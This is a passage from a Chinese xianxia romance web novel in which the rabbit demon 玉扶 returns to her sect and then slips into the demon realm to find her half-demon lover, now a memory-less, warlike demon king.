不多时,所有追赶玉扶的妖魄似乎失去了主心骨地乱飞,才抬起的妖王蛇躯又轰然倒下。 那张玉扶熟悉的面庞变得好奇怪,好狰狞,一会是温和的息尘,一会是恶心的裴琅,一会又是桀骜的阿裴…… 比戏曲中的变脸还丰富。 但玉扶还是松了一口气,她相信裴琅一定会夺舍不成的! 她趁机拍死了几个游荡的妖魄,又捏碎了大把的灵石补充灵力。 也就小半会的功夫,废墟一样的地宫因妖躯的争夺,毁坏更甚,玉扶听见远处出现了人族的动静,皇城、皇城之外的灯火也不断亮起。 玉扶对这个皇城的凡人一点好印象也没有,她可都从妖王过往的记忆中瞧见了,这凡域的好几代帝王为了江山稳固,没少同裴琅沆瀣一气,不然这偌大的地宫是谁修建的?城镇各处收割魂念的信仰又是从何而来? 种种,玉扶想都想不完,她赶紧吸收灵石中的灵力恢复些状态,往地下深处去观察息尘夺回妖躯没。 然,犹未观察出争夺的结果,好大的妖躯,在她的眼前传送走了!? 第73章 玉扶追上前, 只余下了一个破碎的法阵。 她捧着碎裂的阵石拼凑,如何也不能恢复,眼泪在眼眶中打转, 这下好了,真的被师姐们说中, 要回不去了。 而且, 半妖也没了。 玉扶兀自难过了一会, 在脚步声靠近前, 遁入了地下。 她听见巡逻卫士们在说什么禀报给陛下, 继而又是在安排清理废墟。 没有什么有用的信息,她干脆离开了地宫,但也没直接离开皇城, 而是寻了个舒服的宫室先歇了歇。 决定第二日先寻一寻皇城里头还有没有旁的传送阵, 实没有的话,只能清点剩余的灵石看够不够支撑灵船度过无渡海了。 然再舒服的宫室,玉扶还是免不了做了噩梦,她梦见阿裴和息尘再也回不来了, 妖躯彻底被夺走, 裴琅还用那副夺来躯体的躯体乱来…… 玉扶惊醒, 一摸眼角湿漉漉的,她觉得自己更悲惨了。 枯坐许久,才鼓起劲修炼, 曦光将她照地好不凄凉。 直到有宫人路过奇道:“哪个宫跑出来的小兔?” 说着就要上前来抓。 玉扶灵活躲过,跳入草丛中消失。 偌大的皇宫, 她节约灵力寻了一整日,彻底死心。 要说有什么收获,就是知晓了皇城御厨做的食物不错, 然后皇帝果然和裴琅有一腿,大昭的国力民生并不兴,这些年能抵御外族与控制内乱全靠裴琅这个老祖宗用歪魔邪道撑着,地宫崩塌,裴琅不见,皇帝急得一瞬苍老。 不过这些同玉扶都没关系,她离开了皇城,皇都的百姓比之玉扶初来时瞧着都有精神,他们都在谈论着做了一个梦,梦里有梵音阵阵,道该去上香拜拜佛了。 最后,玉扶清点了剩余的灵石,足够她度过无渡海。 可要独自面对海上的风浪,玉扶心里还是没底。 她在蓬瀛渡多等了些时日,每日勤勉借着月华与曦光修炼,私心里还是期盼着息尘赢了裴琅,然后回凡域接她。 但一日等一日,她更惧怕自己的梦成真。 她一开始就不怀好意接近好心肠的佛修,想和他修炼,可那时候她并不知道什么是喜欢,后来又有阿裴的捣乱,她不坚定的心摇摆,受诱惑,甚至偏向了能给她更多好处的阿裴。 然后,又发生了好多事,她好像渐渐知晓了什么是喜欢,是超过能带来好处的喜欢,是即便他们不再能给她修为带来增益,也仍会喜欢的那种喜欢。 喜欢半妖的特殊,喜欢温柔,也喜欢坏坏的维护,有些捉弄吓唬也喜欢,因为她已经发现,阿裴就是个纸老虎,根本不会真的伤害她,息尘的无条件包容就更喜欢了,她会禁不住怜惜他、攀折他。 现在,她好像又学会了一个新的感觉—— 是思念。 下山后,她就几乎没有与半妖分开过,即便半妖变来变去的,她也适应良好。 第一次,分开这样久。 好想念,好担忧,好想能更厉害可以帮上忙。 玉扶在蓬瀛渡对着海想了一日,夜里,她终于鼓起勇气自己出发了。 灵船补足灵石,先度过凡域的海,再面对分隔两域的风浪与漩涡。 比想象中的艰难,也比想象中的狼狈,可是她成功了! 她湿漉漉地躺在甲板上,捏着灵石缓了好一阵才感受到体内灵力的运转,给自己使了个清洁法决。 接下来或许还有风浪,但比起凡域,周遭的灵气已充盈了不少,她只要注意躲避,保证船只不坏,就一定可以很快回到修界的。 * 在玉扶流浪在无渡海的时日里,妖域发生了翻天覆地的变化。 上任妖王彻底确认死亡,几大妖族不服突然就想凌驾他们之上的半妖。 整个妖域为妖王之争而沸腾,修界这边也并没有干看着,各大宗门有暗中与妖族进行交易的,也有趁机削弱某妖族势力的。 其中就有修士发现了搅得妖域动荡的半妖,竟与佛宗的佛子生得一模一样! 如此,修界中也是好一番编排,有人道,自游仙会后就不曾再见过佛子,也有修士想起游仙会关闭那日,狐妖对佛子喊出的话…… 合欢宗本就一直担心有这一日,四处搜集玉扶的去向,然而,她们的兔子小师妹却如消失了一般,得到的消息,都还是妖神古墟的前后。 那时,玉扶当然和半妖在一起,就是她们这些师姐们,都还同其在客栈待了几日,她们想知道的是—— 玉扶,现在在哪! 有坐不住的,混入妖域寻人,也有前往无渡海,欲前往凡域一探的。 玉扶就是这样的时候与寻出海的七师姐碰上了。 彼时,万俟兰根本没将一艘快散架了的破烂小船放在眼里,急着加快速度进入无渡海,还是玉扶无差别地求顺风船,发现了灵船上的万俟兰。 一路又追又喊,小船破烂得又掉了几块船板,才终于吸引到了万俟兰的注意,甫一上船,就抹眼泪地抽泣:“师姐,你再快一点,我就要成落汤兔了。” 万俟兰嫌弃地推开玉扶,上下打量着,实话道:“你现在也没比落汤兔好多少,气味咸得齁人,不用下料,就可以入锅了。” 玉扶左右闻了闻自己的味道,她在海上久了,又舍不得花太多灵力给自己清理,这些海面上的味道,还有留在身上的味道,她都快习惯得区分不出了。 一时更委屈巴巴地看万俟兰。 万俟兰被她看得心头一软,想玉扶在宗门里时被宝贝成什么样了都,为了方便她觅食,满山都在不同区域种植了灵果,由巡逻弟子隔一段时日就去照料,她们这些年长的师姐,更是时不时地上山陪她修炼和玩耍,什么时候这样狼狈过? 该死的男人!真是看走了眼! 但此时也不是讨论这些的时候,如今也不用入无渡海了,她命人调转船头,自己带玉扶去清理。 清洁术法再如何都比不上舒服的沐浴,尤其万俟兰更是不会委屈自己的人,此次出行的灵船更大,更豪华,连池子都有,玉扶被按着浸入狠狠地洗去那一身腥咸的海味。 玉扶乌黑的发在万俟兰的手中一缕一缕地梳着,舒适得打起了哈欠。 万俟兰将梳子放置一旁,身子仪态万千地一歪,问:“说吧,发生了什么?” “是被男人骗了,抛弃了?” 玉扶摇头:“他不是有意抛下我。” 万俟兰挺身,染着丹蔻的纤指霎时重重点上了玉扶的脑门:“你简直为男人失心疯了,你都成什么样了?还说不是有意的?” “即便不是有意的,没本事的男人留着过年吗?” “你怎就没学到姐姐们的半点本事,长腿的男人遍地是,脸长得好的,满修界又不是没有,你吊一个身上算什么,嗯?” 玉扶捂着脑门,很受教地低着头,心里只敢偷偷地、小小反驳了一下,不是一个,应该算两个。 万俟兰长舒一口气,好受些地对玉扶抬了抬眼:“罢了,你先歇着吧,上岸后就与我回宗门,师姐们都担心你。” 玉扶点点头,又很快掀眼,眸中满是“那我还说不说发生了什么”的疑问。 她当然是想说,特别特别想说,说了,师姐就知道她真的不是有意被抛下,说不定还能帮她打探消息,可是,她太懂师姐们对已判死刑的男子态度了,她越主动提,息尘就越会被排斥。 万俟兰装作没有看见她的眼神,揉着额道:“哎,这海上行船真是适应不了,晕的很。” “我也歇去了。” 玉扶满肚子的话憋了回去,担心息尘,但是师姐也好重要的,她都头晕了。 她不是没良心的兔子,只能委屈息尘自己加油了,毕竟这种夺舍的事,旁人也很难帮上忙,而且息尘和阿裴应该算是两个打一个。 一定没问题的! 玉扶努力地将他们的厉害之处想了又想,安慰自己不要着急。 * 另一边,万俟兰甫一离开玉扶视线,头不晕了,腰也直了。 玉扶的心思太好懂,不管什么原因,阿扶现在不要去寻那人才是最好的。 一个引得整个妖域动荡的半妖,而且还是同人族有千丝万缕关系的半妖。 太容易引起争端了。 阿扶若是牵扯进去,太危险。 万俟兰打定主意,将玉扶带回去,短时间内还是不令玉扶下山的好。 * 万俟兰此行出发的并不久,无渡海都不曾进入,与玉扶是在接壤修界的海域相遇。 故而平稳往回行了两日,便已能见到陆地。 玉扶殷勤地到万俟兰身边:“师姐,你晕船好些了吗?” 万俟兰一言难尽地撇脸,单纯的兔子,难缠的很,整整两日,殷勤得过了头,逮着机会就想说起凡域的遭遇,倒是不给男人说好话,但暗搓搓地同她打探消息,诸如“师姐你怎么突然出海寻我?”“师姐,是不是修界、妖域发生了什么?” …… 即便她描补不是来寻玉扶也晚了,如若不是知道了什么,又怎会出海? 她只能用晕船,要歇搪塞,此刻即将上岸,若是还不能给稳住了玉扶,怕是不会简单同她回宗门。 恰是时,天际旋来一传讯灵鸟,是合欢宗所豢养,她抬手制止了玉扶的话,伸手接住传讯。 灵鸟爪下卷轴落开,万俟兰面色凝重地看完,当下没有隐瞒必要地交到了玉扶手中:“阿扶,你不是想知道我如何知晓来寻你吗?自己看吧。” 卷轴中一个个发光字样入了玉扶眼。 玉扶小脸顿时煞白,卷轴是混入妖域的师姐传回的讯息,原来,她在凡域与无渡海飘荡的短短月余时日,妖域发生了那样多的动荡,裴琅根本不是单打独斗,雪仙所营势力,瞧着随着雪仙的死是散了,可前前后后不知有多少妖属混入了各大妖族。 这一点,玉扶在妖神古墟中有发现,但显然,拥裴琅为王的不只是她瞧见过的那些。 故而,当裴琅强势地出现在妖域,极快地就割裂出自己的势力,并对妖王城的几大妖族造成不小的冲击,就玉扶知晓的三大妖族,便已尽数撤出了妖王城。 这本对修界的人族是没甚影响的,然而,新妖王是佛宗佛子的消息震惊各大仙门,要佛宗给出个解释,甚至有极端者道妖族是不是渗透了修界?修界不该接纳妖族…… 一时间,早就适应了修界乃至有宗门归属或契约的妖族也受到影响。 对立愈甚,摩擦愈多,有时,修士与妖修当街便会发生争斗,甚至,有以此为利者见妖便猎捕…… 如此种种,大师姐叮嘱七师姐,莫带她在外多停留,尽快回到宗门。 但这些都不是最让玉扶受打击的,而是卷轴中还有一个消息,是有佛修已入妖域确认,如今妖王城的新主,并非是他们的佛子,真正的佛子已被夺舍。 万俟兰心疼地瞧着玉扶失去血色的小脸,残忍断了玉扶的念想:“阿扶,他已不是你认识的那个妖了。”—— 第74章 玉扶已再听不进去万俟兰的话。 浑浑噩噩地上了岸, 浑浑噩噩地跟着万俟兰,也浑浑噩噩地在沿途听到不少更证实的言论。 最后回了合欢宗,一头扎入了碧山, 将自己圆滚滚地封在了洞府内。 从洞府外看,只能见到她巨大的兔子窝, 但见不到身形。 以往她在自己的地盘总是喜欢变得很大, 将整个兔子窝都占满了, 现在, 她伤心难过得只想将自己藏起来。 她无数次将息尘和阿裴想得很强大, 想着他们才不会被夺舍,可所有人,所有证据, 都在告诉她, 那已不是她的半妖了。 万俟兰担心地在玉扶洞府外站了站,又有几个师姐闻讯赶来,最后也不过摇头道:“阿扶第一次喜欢上人,结果是这样的结果, 伤心难免的, 先让她自己静一静吧。” 在场都是过来人, 皆知这种事,旁人还真劝不得,便是要劝, 也要先等阿扶难过够了。 再则,这种事, 在她们看来,还真见不得是什么坏事,谁都会有一段感情的开始与结束, 往后多谈几段情,也就游刃有余了。 有一段刻骨铭心的,说不得还能时不时怀念一下。 没多久,众人也就散了,只是每隔一日,就有人来瞧瞧玉扶,亦或是送些东西留在的洞府外。 玉扶一边埋在绒窝中哭,一边听着师姐们的来来去去,慢慢的,也就伤心够了。 可伤心往后更难挨的是空寂,她的心空落落的,觉得周遭都好静好静,山风鸟鸣一切一切都失去了趣味。 她控制不住地想起,她还想带半妖回家,想带他见她平日生活的地方,想带他去见碧山的核心,她的姥姥有一缕魂就寄在那儿。 还想起,他欠她好多的修为。 如果有那些修为,她一定可以轻松达到化神,再不用受渡情期的困扰。 好像总有很多不得不去想他的理由。 玉扶从兔子化形回少女,双眼红,鼻子也红,颊靥还花,她给自己抹了一把脸,眼中逐渐透出坚定,话本里常说,活要见人,死要见尸,就算是夺舍,她也一定要去亲眼见一见,才能彻底死心。 封闭已久的洞府打开,门外全是师姐们送来的各种东西,有专为她种的灵果,还有从山下带来的的糖,更多是的师姐们珍藏的各种小册子,有的是有各大宗门的男子小像,有的是技巧图册,看得妖小脸通红。 玉扶一股脑地全收入纳物中,又捡起一旁散落的瓶瓶罐罐,看介绍,全是的搭配册子使用的玩意,也一并收入。 她做贼似的,观察了周围,耳力放出神识,听得更远更远,确定没有师姐们在,小心闭合洞府,又从洞府门上的小洞往里微看了看,用法术捏了与她变小差不多形体的假兔子混淆视线,飞一般地遁地下山了。 如今山下对妖来说,异常危险,玉扶知晓师姐们担心她,若让她们发现了,定然不会支持她的做法。 可她就是不甘心,不甘心到破天荒地想冒一次险。 * 这次下山,玉扶明显感受到气氛的不对。 一些城门的守卫更严苛了,往来修士双眼犹如猎鹰一般相互扫视。 玉扶偶尔会同一些修士对上视线,但高阶修士毕竟还没到遍地走的地步,而她也不是没脾性的,每当遇到修为不如她的,她便怒视回去,真碰到厉害的,她自己先老远避开了。 在入城前,她多次检查了自己妖纹与气息,都掩得非常好,加之有宗门的凭证,入城并不算难。 玉扶顺带地无意听了不少交谈,不少是大骂妖族的,原因各有不同,什么妖族与哪位师兄私下定了诸多丹药,最后根本没有结账,甚至将送丹药去的师兄给扣下了,还有但凡去了妖域的修士,回来的寥寥,都被妖族扣下当做了人仆…… 总之,就是不止是妖与妖之间乱,就连妖与修士的冲突也更甚了。 玉扶不再外多停留,径直寻到栖云商会在此城的落点,掏出信物。 妖域连接四境,互有不通的资源与需求,修士需炼材,妖族需修士制的各种法器丹药,很多时候都是有私下通商的,尤其是一些大商会,更是有这方面的门道,而且,因妖隙的存在,还有专人以法阵和结界固定妖隙,标记后用以出售的。 这些都是玉扶第一次下山的时候,了解到的。 但她也知道现在情况有些特殊,故而特意等到被请到客室才详细说需求。 可她面前的管事还是一脸的为难。 管事肉痛地盯着玉扶拿出的欠条,南境简直是这欠条流通的重灾地,更想到不久前听闻的,他们商会的少主似乎重新挽回了合欢宗那位女修的心,当下更是只想减少损失地劝道:“仙子,如今的妖域可不兴去。” “那儿如今诸多妖族皆不服新妖王,又有大妖趁势掀乱,简直没有一座妖城是安生的。” “接近妖王城的地界,就更危险了,那新妖王与三大妖族,有时一日就要战上数次。” “各妖族许有不支,四处捕捉人族修士炼药布阵。” 说到此,管事也不免叹一下:“佛子传闻中那样能耐的修士都被夺舍了,可真是造孽啊。” 然当他再抬眼去看女修,只见女修相貌姣好,秀眉下双目凝肃,简直坚定得不能再坚定,感情方才他都白说了。 无奈,取出一份传送卷轴不是很情愿地与玉扶换来一张欠条。 除去欠条,玉扶又推给管事一封信,请其代为转交。 师姐们既然能从栖云商会知晓她的动向,那也没必要隐瞒,不如留一份口信,等她们发现她不见,再查到商会来时,也能稍微安心点吧? 玉扶不去想太多,直接将传送的卷轴用了。 卷轴的传送距离有限,是城外某处发现的妖隙入口,有商会的人守着,玉扶踏入后,往后回看,妖隙略合拢一些,但那层结界还撑着,估计同样的卷轴商会还能卖上好几次呢。 但若想再回去,玉扶轻触那层结界,发现被挡了回来,是单程的。 奸商!竟根本没与她提过这点! 玉扶两腮鼓气,但也没特别不高兴,毕竟是免费的嘛。 她不再纠结回去的事,打量这次通过的妖隙到底给她送到哪了。 才走出几步,硕大蛛网兜头罩来,玉扶避之不及,挣扎撕扯,听见有妖兴奋冲来,口中喊:“抓到了,是个女修。” “欸,好像有点眼熟?” “是妖啊。” 有妖嗅了嗅鼻肯定:“是妖。” 犹是他们说话的功夫,玉扶已经看清了他们,甚至还瞧见了款款走来的蛛娘。 蛛娘给众小妖脑后各赏了一掌,隔着蛛网打量玉扶,唇畔带笑:“本想抓人修,没想抓到只胆大的兔子。” “小兔子,你竟还活着啊?” “我修为已经比你强。”玉扶不喜她称呼,每次都要强调,同时,更大力地扯变形蛛网。 蛛网韧性极强,蛛娘好生瞧了一会,眼见真的要被扯坏,心疼地收了回来,这时,巷外跑来一个鱼鳍耳小妖,口中呼着“东家”,话都说不全。 但蛛娘看懂了提醒,当下拦住要走的玉扶:“你若愿意信我,便同我来。” 玉扶想,她并没有同蛛娘结怨到不死不休的地步,往日也不是出于自身的对立,现如今,她对妖王城一无所知,或许还是信她一次。 而实力上,玉扶一扫只有蛛娘一个主心骨的小妖们,同意了跟着蛛娘走。 从后方绕了好大一个圈,玉扶进入了到了千织客栈后堂,紧跟其后的小妖将门合上。 明眼可见,入客栈后,小妖们都松弛不少。 玉扶分明听说,几大妖族都撤离了妖王城,蛛娘亲近鹰族,与其少主的关系更是匪浅,怎竟还留在妖王城,是为了做内应吗? 她如此想,问得也直接:“你怎还在妖王城?” 蛛娘被气得有一瞬岔气:“这是老娘几百年撑起来的家业,换你能说舍就舍?” 后堂的门被拍得砰砰作响,鱼鳍耳小妖战战兢兢开门,体型庞大的牛头妖瞬间挤开他闯入:“这附近有人修法阵的波动,你们有没有见到有人修混入?” 说着,铜铃大的双眼往在场妖身上扫视。 蛛娘不惧地开口便呛:“哪来的人修?老娘这里只有妖。” 玉扶眼见牛头妖视线落在自己身上,她总混在修界,身上气息是太干净了些,当即放出妖息,蛛娘也抢前一步:“看够了就赶紧走,一天天的,还让不让做生意了。” 蛛娘在此地界还是颇有些名头的,加之还曾主动揪出过人修献给过妖王,牛头妖稍想她也不该会藏人修,确认玉扶是妖无错后,还颇有礼貌地退出后合上了门。 蛛娘扭头再看玉扶,简直要把玉扶盯出花来。 很掂量的眼神,像是要把她称斤卖。 玉扶再次提醒:“我现在比你厉害。” 蛛娘嗤声笑:“我倒是想把你卖了,不过,这上头现在要的是人修。” “你这样的兔妖,送上去都不见得有妖会收。” 蛛娘余光轻飘飘地溜过玉扶,往客栈前堂而去,玉扶追上,问:“你是早知道方才那道妖隙被人修掌控,在等着抓人修?” “为何要抓人修?” 蛛娘随意坐上大堂中桌案,挑着眼:“你是真不知还是假不知?” “还是说,是想从我这里知道些别的什么?” “比方说,你那大妖?” 被戳中心思,玉扶也不回避:“嗯,我想知道他。” 蛛娘:“那你死心吧,我什么都不知道。” 玉扶肯定:“你见过他,而且,你先才一见到我,那种想卖我的眼神,一定是在想把我献上去,为什么又放弃了?” 蛛娘真的很讨厌太过直白死心眼的兔妖,偏生这兔妖还不傻,相反还机灵得过分,她反应过来,兔妖从一开始问的就不是关心抓不抓人修,而是,试探她是不是早就知道那里可以抓人修。 那被抓的人修去了哪? 自然是向需要的妖献上去。 而她可以说是最早认识兔妖与那大妖的妖了,甚至还与大妖有过交易,求过一个承诺,请求若有一日,还仍可于妖王城中开此家客栈。 如今大妖真成了妖王,无论如何,她都会为这个承诺去验证一二。 她也确实去过,只是结果并不如意。 那大妖,不,如今该称为妖王,她根本不敢看第二眼,光是被审视,就已汗流浃背。 在又遇到兔妖的一瞬,她确实动了心思,不过,那种面临死忙的压迫,她并不想体验第二次,再则,妖王还记不记得玉扶这兔妖都还不一定,她没必要再去掺和。 不管如何,她绝不是不想看着兔妖去送死。 只是,兔妖真的很讨厌,她拒绝这么明显,为什么还要问。 蛛娘沉下了脸,沉默许久。 玉扶不依不饶地看着蛛娘,她当然知道死缠烂打很令人讨厌,可是,谁让她认识的妖真的很少,蛛娘已经算是最熟悉的,尤其是,方才不管怎么算,蛛娘都是在帮她吧? 与熟悉的妖打交道,总比不认识的妖瞎问的好,而且她还知道蛛娘对阿裴很早就有所求,现在她这样大一个妖杵在面前,蛛娘竟然放弃了利用她,一想就知道一定是知道什么。 玉扶越盯,眼神中的倔强开始变得可怜,变得雾蒙蒙,她不想往不好的方向想,可控制不住,也不愿相信半妖被夺舍了。 蛛娘真的被玉扶给打败了,烦妖的兔子,蛛娘甩袖:“你要真想见他,有个方式。” 第75章 玉扶豁然抬眼, 从濛濛水光中闪出期待的光。 两日后,她如愿有了见到息尘的机会,遥远的, 从阁楼往下望那种。 妖王城变化很大,以往热闹的外城, 很多商铺都关了, 外头也少了很多乱逛的妖, 增多的是归顺妖王, 在妖王城中巡逻的巡护队。 据说, 是妖王同其他几大妖族开战,还想在两妖王城待下去,就要做些贡献。 妖王城内城如今除了妖王宫, 余下的都扩成了妖兵与战士营。 妖王更是身先士卒, 凡战必亲往。 现下,就是蛛娘打听到,妖王与妖狼族的一战将凯旋。 玉扶发现,如今还留在妖王城的妖, 对新任妖王大都并没有很排斥, 她光是在阁楼上等的功夫, 就已听了不少议论。 多是议论妖王的相貌和对强者的尊崇。 当然,还有残暴无情的斥骂。 骂他坏了妖王城的宁和,骂他大肆抓捕人修, 得罪人修。 不过,后者这种声音还是少数的, 更多是一种不同寻常的兴奋,就好像妖族天生的妖性被强者点燃了,血脉中对强大的追逐, 对地盘的扩张,天然充斥着一种向往。 他们在迎接一位王。 这种感觉让玉扶好陌生,她在等的并非是一位王,而是,期待没有被夺舍的半妖,他可以是温柔宽和的,也可以是懒散妖孽的,而不是让众多妖族期待,引领妖族兴衰的王。 玉扶情绪莫名地低落,似乎不用去亲眼验证,就已经触到了那份不同。 她有一瞬的退却,想:如果不去看,是不是能一直记得那只属于她的半妖模样? 很快,她将这种想法甩出脑中,双眼紧紧盯着阁楼之下,她必须确认。 蛛娘同此处阁楼的主人闲话完,也来到窗处倚着,望一眼楼下,又看一眼强迫着盯着某一处的玉扶:“妖都还没入城,你这样盯着有什么用?” “别怪我没提醒你,他不是你之前的认识的那个大妖了。” “那些跑来的人族修士可没少说他是被夺舍了。” 对夺舍之说,蛛娘嗤之以鼻,从她遇到玉扶与蛇妖开始,就没见过那位有人修的样,更别说是佛修的迹象了,即便是到如今,她也不过是认为,是从妖神古墟抢得了传承,才发生了改变。 其中,最不划算的改变,大概就是大妖根本不记得有过对她这等小妖的承诺。 或者该说,那妖的眼里已经见不到半分正常的情绪,只有狂躁的厌倦,还有多看一眼,就要死于他手中的冷酷。 蛛娘不再回想她作死一般求来的那次会面,颇有些可怜玉扶地看她:“他若真不认识你了,你要如何?” 玉扶抿着唇,眼睛没有动,她不相信息尘会忘了她,他分明与她保证过的,可是,与被夺舍相比,她宁愿是忘了。 “那就让他想起来。” 死心眼的兔子,蛛娘突然觉得有些佩服玉扶了,有这韧性,难怪修为还那样低的时候,就能跟在与她一点也不符的大妖身边。 她转了转眼,又开始打探:“你与那位在妖神古墟得到的是什么传承?” “你怎会与他分开了?” 玉扶终于舍得分了一点余光给蛛娘,不用想也知道,蛛娘又是将半妖能成为妖王归功于了妖神古墟的传承,她怀疑,蛛娘还留在妖王城,说不定就是为了给鹰族打探消息。 “与妖神古墟无关。” 玉扶模糊地回答一句,余光很快回到原处,双耳也倏地一动,有动静从远处传来,大群的妖在归来。 城门大开,风都变了气味,不同种族的妖群集成了不规整但莫名和谐的队列,身上散出的妖息皆还带着刺人感官的血味,即便是城中没有参与到战役中的妖,都能在他们经过的一瞬,感受到战意,或多或少地被激起妖性。 一时间,妖王城内的妖众皆变得既安静又兴奋,目光同时注视向同一方位。 妖王的车辇极具存在感地出现,俘虏而来的狼妖族化为原型套上兽锁在前方拉动。 那车架漆金黑毂,华盖煊赫鲜妍,玉扶一眼便可见华盖下的年轻男子,他手搭座沿,俊得有些阴翳,颊侧妖纹直延入颈往下。 轻微的啪嗒声,玉扶目光很快移向他垂落的一臂,有血缓缓地顺着他的手背蜿蜒指缝滴落。 声音太过微小,若不是玉扶全部的注意都在他身上或许都留意不到,是受伤了吗? 她的目光顺着那处往上,蓦地与黑漆漆的眼珠子对上,达不到眼底的黑,玉扶一瞬像是要被吸进去一般生出寒意,瑟得向后退了一步,方才定了心神。 然再自上望下,队列往后的乌鸦鸦妖群完全地遮挡了她的视线,只能瞧见一小片背影,一派肆意无畏的姿态。 “如何,那还是你的情郎吗?”蛛娘自后拍了玉扶一下。 玉扶懵懵然地没有回神,在回想那极短的一瞬对视,她可以肯定,那并非是裴琅。 她与裴琅交过手,裴琅见过她,而她也见过裴琅在初掌控妖躯时的容态,或许还不熟练,可无论是举动还是眼里流露出来的情绪,都是恶心极了的狂喜,绝不是这样的冷静,也绝不会这样轻飘飘一眼放过知道他底细的自己。 那样自然,那样对受伤妖躯随意处之的态度,绝不可能是对妖躯偏执到狂热的裴琅。 阿裴和息尘没有被夺舍! 玉扶欣喜,慢半拍地与蛛娘重重肯定:“是他!” 不知为何,眼泪不受控地从眼眶中冒出,她一边擦拭一边继续:“没有被夺舍,都是乱传。” “我就知道两个打一个怎么可能被夺舍。” 她哭得稀里哗啦,又开心又骄傲,可说的话实在费解,蛛娘嫌弃地扯出一条帕子给她代替袖子:“所以呢?还不是不记得你。” 玉扶抽泣凝固,不可否认,那一眼的陌生完全就不是整日强调“你是我的小兔”的大妖,也不是保证不会忘的息尘,她好像真的不被记得了。 信誓旦旦的“让他想起来”在事实面前,更多涌出来的沮丧,还有生气,她是什么不值得记住的妖吗? 为什么就偏容易忘了她? 玉扶气得呼气。 蛛娘似觉得激怒玉扶很有趣,刺激她地问:“好了,见了这一面够死心了吗?” 够怎么可能够,玉扶狠狠摇头。 既然确认了不是被夺舍,她就不能接受轻易被忘了,她总是贪心的,她要让他想起来,然后要完债,再不要他! 玉扶下定决心地想。 蛛娘有点怕她了,果然,下一刻得寸进此的玉扶不止要继续在她的客栈住下,还问她有没有办法传信出妖域。 还有,一遍一遍不厌其烦地问她,她是怎么面见妖王的。 这一刻,她是真动了念将这烦妖的兔子献上去算了,然,最后还是作罢,盖因蔫坏的兔妖叫嚣,要去揭发她与鹰族的关系,是留在妖王城的探子。 她憋下这口气,忍了玉扶继续在千织客栈住下。 * 玉扶这次从蛛娘的口中得到更多消息,蛛娘并非全然是为鹰族留作探子留下的,而是存了看好新妖王的心,故意没有撤出妖王城。 当然也有真的放不下家业的原因在。 蛛娘知妖王在四处抓捕可奴役的人修,特意捕了几个人修献上,提出见妖王一面,再就是玉扶也知道的那个承若,但是,蛛娘并没有机会提起那个承若,因从会面开始,妖王给蛛娘的感觉就是异常的压迫,还有异常的探究。 蛛娘留了个心眼,只说求见是想效力妖王,也因此而得以全身而退。 也就是说,蛛娘完全是从妖王的态度上,发现了妖王的遗忘,她谨慎地继续抓捕人修作为遮掩,也以至在遇到玉扶时出言提醒。 玉扶翻来覆去地想了许久,认定并不能直接地送上门大喊“我认识你”,那样很可能会死的,她开始积极地收集信息,每当妖王离开妖王城亲战的时候,她就在高高的阁楼上目送。 她会留意他的每一次变化,她感觉半妖并没有休息好,他总是皱眉,满脸都是不耐烦的狂躁。 但每次从外胜利回来,他又诡异地平和,即便身上伤得鳞片都外翻了,可确实较之外出时平静了许多。 他也并不享受胜利的喜悦,妖群的狂欢不能令他动容半点。 他似乎只是在用一种合理的方式来平息自身的狂躁。 这恰与玉扶听来的一些说法相合,一些上过战场的妖兵说,他们的妖王完全就是天生的王,他好展现实力,喜厮杀,即便是投降的妖族,他也要拧下头领的头颅。 如今,三大妖族为首的诸妖族,皆在新妖王的不断出战中被打得七零八落,想必不久,便能完全收服。 玉扶望着街尾,等着会再次路过的威赫妖群,在想,这次过后,她要再怎么见到他,他这样嗜杀狂躁,她根本不敢主动送上门,只敢远远地观察一次又一次,然后,没有一次鼓起勇气的。 有时,她会唾弃自己的喜欢不够豁出去,可她很快就会想,只有她立马辨出他根本没有被夺舍,还偷偷地陪伴他呢。 她只是需要一个更适合的时机。 反正是妖嘛,都还可以活好久好久呢。 玉扶如此想着,蓦地又与黑漆漆的眼珠对上,恹恹的,但无比锁定。 玉扶吃惊地对视,又无措地左右转了转头,那双眼仍锁定着她。 他们并非没有对视过,毕竟只要妖王出城与入城,她就会等在这最佳的观察位置,可以往都是匆匆而过的一眼,就像是在场所有的普通妖众一样,她在妖王眼里似乎并没有什么不同。 然而,此刻,拉着妖王车架的妖兽停驻,软座之上的妖王没有笑,只是翻着眼直勾勾地望来,比眼白多很多的瞳仁充满了侵略性。 他是想起她了吗? 玉扶抑不住欣喜,她想,她等的时机就是现在了! 只是,还不等她投身而下,先有一片足以遮盖她的身形遮下。 玉扶后撤一步,看清,是半妖落在了她身前。 她已经好久没有这样近的距离看过他了,他变化好大,妖纹能从颊侧延到颈子,或许还要往下。 玉扶克制不住地瑟瑟,也克制不住地干干吞咽,许多画面不合时宜地冒出,都怪还没结束的渡情期,怎么一碰到半妖,就令她发饿。 她努力地去留意更该关心的,例如,眼前的到底是谁多一些? 她发现,更难辨认了,妖孽迫人的举止,却有着超乎寻常的诡静,肆虐的妖息,未干的血迹,无不表明在不久前,他还经过一场酣战,他的狂躁早已经过宣泄,此刻眼中只凸显出了静。 这份静有点像息尘,却不完全像,息尘的静是温和无害的,而此刻眼前的妖,他的静更像是短暂的平息,可要说是阿裴也不像,阿裴要更邪性不逊一些。 他更像是二者的结合,奇异地融洽,以至显出了一种迥异的气质,如利剑出鞘,锋锐威仪,有种令人心动的气魄。 玉扶脸颊发烫地微垂下眼,她也不想三心二意的,可是他好会长啊,长在她心里眼里似的。 裴息尘没有错漏一点玉扶的容情,尾巴尖的兴奋令他再次确认—— “你爱慕本君。” 玉扶“啊”地抬眼,感觉有点对,但又哪里有点不对。 他似乎根本没有想起她? 玉扶垮下了脸,鼻音下意识哼哼地反驳:“你感觉错了。” 裴息尘眉毛上挑,十分不好惹地数道:“本君经行此处十三次,你次次都在此等本君。” “如何不是爱慕?”他强迫地抬起玉扶的小脸:“兔妖,本君很少给人机会。” “你若承认爱慕,本君还可继续收你为妖侍。” 不可一世的态度,玉扶气狠了,混蛋,简直是比阿裴还气妖的失忆人格! 他们相处好久好久,连觉都睡了不知道多少次,现在竟然从情人与债主跌落到只能当妖侍? 而且,他说得好轻松,好理所当然,是不是早就在妖王宫里收了不知道多少的妖侍? 是不是看到一个漂亮妖就直接抢? 玉扶更气更气了,还憋的很。 好想拒绝,可是好不服气啊! 她要让他想起来,一定要让他恢复记忆,然后,让他当她的妖仆,踩他!让他啃她脚丫子! 第76章 足有好半晌, 玉扶才憋红脸地吐出了个“好”字,算作答应。 她的表情实在丰富。 